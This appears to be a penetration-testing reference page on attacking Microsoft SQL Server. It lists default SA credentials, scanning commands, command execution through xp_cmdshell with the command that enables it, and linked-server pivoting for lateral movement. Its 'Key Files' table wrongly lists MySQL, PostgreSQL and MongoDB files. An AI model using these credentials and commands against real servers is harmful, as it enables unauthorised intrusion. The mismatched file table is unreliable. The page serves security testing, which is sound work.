Back to services
database1433/tcp

MSSQL

MSSQLSQL ServerMicrosoft SQL DB

Microsoft SQL Server is a relational database. Weak SA credentials, xp_cmdshell RCE, and linked server abuse are common attack vectors.

Ports

PortProtocolDescription
1433tcpMSSQL
1434udpMSSQL browser

Fingerprints

Banner / ProbeExpected Response
nmap -sV -p <port> <target>Service banner and version info
nc -nv <target> <port>Raw banner grab

Key Files

PathDescription
/etc/mysql/mysql.cnfMySQL client configuration
/var/lib/mysql/mysql/user.MYDMySQL user table data
postgresql.confPostgreSQL configuration file
pg_hba.confPostgreSQL client authentication rules
mongod.confMongoDB daemon configuration

Default Credentials

UsernamePasswordContext
sa(empty)SQL Server system admin
saPassword123Common test password

Known CVEs

IdentifierTypeDescription
AuthWeak SA password / default SA creds

Exploitation Primitives

TechniqueTool / CommandResult
Impersonate SAsqsh -S <target> -U saConnect as sysadmin
xp_cmdshell RCEEXEC xp_cmdshell 'whoami'RCE via xp_cmdshell
Linked ServerEXEC sp_linkedserversPivot through linked servers

Notes

xp_cmdshell is disabled by default in modern SQL Server. Enable it with:

`EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;`

Linked servers in AD environments are a goldmine for lateral movement.

Tools: `sqsh`, `impacket-mssqlclient`, `netexec mssql`.

Seen on

ShodanCensysFOFAZoomEye

References